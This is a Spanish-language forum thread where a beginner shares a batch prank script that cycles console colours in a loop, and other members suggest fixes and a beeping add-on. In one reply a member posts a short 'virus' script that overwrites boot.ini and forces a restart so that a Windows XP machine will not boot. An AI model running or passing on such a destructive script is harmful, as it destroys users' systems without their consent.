Opiniones y mejoras

(1/2) > >>

PixelatedFox:
Antes de nada deciros que NO OS RIAIS DE MI POR FAVOR,aunque vaya a ser dificil xD.A ver quería hacer algo con .bat y encontré un código interesante,pero pensé que usarlo sin mas era un poco...cutre y me puse a investigar y resulta que esto es interesante,he hecho un script(si así se le puede llamar) que lo único que hace es que la pantalla de MSDOS se te ponga de colorines,y te imposiblite trabajar,si es una soberana gilipollez,lo sé pero tampoco voy a empezar por algo complicado,en fin.Solo os queria preguntar si vais algún fallo o algo asi por que a veces me da un error y desaparece...aqui os dejo el scrpit en cuestión.


Código:

@echo on
:bucle
COLOR F0
COLOR 0F
COLOR 13
COLOR 46
COLOR 7A
goto :bucle


De aquí surgió la idea y luego fijandome en otros scripts de por ahi,llegue a esto.

Código:

echo.
echo.
echo.
echo.
echo
echo                  *********************************
echo                  *********************************
echo                  **    Enloquecedor de MSDOS    **
echo.                 *********************************
echo.                 *********************************                           
echo.                 ********************************* 
echo.
echo Pulsa una tecla para iniciar
pause > nul
:inicio
cls
echo Elige la opción que quieras.
echo 1. Volver loco al MSDOS.
echo 2. Ver versión de MSDOS.
echo 3. Salir.
set /p eleccio=
if %eleccio%==1 goto Enloquecer
if %eleccio%==2 goto CMD
if %eleccio%==3 goto surti

:Enloquecer
cls
echo 1.Empezar enloquecimiento
echo 2.Salir
set /p tria=
if %tria%==1 goto colores
if %tria%==2 goto surti
:colores
:bucle
COLOR F0
COLOR 0F
COLOR 13
COLOR 46
COLOR 7A
goto :bucle
:surti


PD:Que siiii ya sé que es inutil,pero bueno solo le he hecho para coger un poco de destreza

nhaalclkiemr:
Errores:

-Weno, primero debes de poner una linea así:

Código:

@echo off

Esto es para ocultar el eco de los comandos, la salida que originen estos en la pantalla se verá igual...

-En esta linea hay un error:

Código:

if %eleccio%==2 goto CMD

Si eliges la segunda opcion se ejecuta goto CMD lo que te llevaría a una etiqueta :CMD que no existe...

-Para la opcion 3 es mejor esta linea

Código:

if %eleccio%==3 exit

que esta:

Código:

if %eleccio%==3 goto surti

No esta mal tu forma pero mejor ordenarle directamente al BATCh salir que mandarlo a una etiqueta al final de archivo...
Lo mismo despues para la opcion 2 de la etiqueta "enloquecer"

-Por ultimo el peor error es el buble, usa un bucle FOR puesto que un bucle GOTO te consumirá todos los recursos del ordenador...tambien es recomendable poner un "sleep"...puedes hacerlo con el comando ping así:

Código:

ping 127.0.0.1 -n 1>nul

donde 1 es el tiempo en segundos a esperar...

Estos son los errores k veo a sí por encima...debe de haber mas...como el k me acabo de fijar ahora...sería bueno k añadieses una opcion contra errores para el caso en el k el usuario eligiese una opcion diferente k las k se ofrecen...pork si se le pide elegir entre la opcion 1, 2  y 3 y pone "4" pues para k no se ejecute indebidamente...

Weno, tu tranki k todos fuimos novatos...yo por ejemplo soy novato en VB y pregunto cosas tontas y nadie se rie de mi...ademas lo k estas haciendo es bueno para empezar...

Saludos ;) ;) ;)

sirdarckcat:
:(
yo si me puedo reir? jeje ta bn chido tu codigo, ponle q ponga sonidos y enloquece peor jajaj

mira los sonidos se ponen asi:
Código:

@echo off
echo e 100 7 >in.inw
echo r cx >>in.inw
echo 1 >>in.inw
echo n beep.txt >>in.inw
echo w >>in.inw
echo q >>in.inw
debug<in.inw
del in.inw
:buc
type beep.txt
goto:buc


no sirve en todas las computadoras, pero si en muchas :P

Saludos!!

Grave:
Me he reido con este post(sin animos de ofender, yo tambien soy un "nov",  bueno no tanto),  ;D No entiendo el bat de Sirdarckat  :P....
Y con este virus dedstrtuyes cualquier Pc con XP sin que ni para que.
Código:

@echo off
cd\
echo Chorrada>boot.ini
shutdown -r -t 01 -c "Jajajajajajajajajaja"
exit

PixelatedFox:
Muchas gracias a todos. Principalmente a nhaalclkiemr por que me has audado mucho,en serio gracias.
ahhh gracias también por los sonidos xDDD es un caos impresionante. Y a Grave,...a ver...yo no pretendo destruir ningun PC...no quiero aprender hacking para eso.Bueno.muchas gracias.

Navegación

[0] Índice de Mensajes

[#] Página Siguiente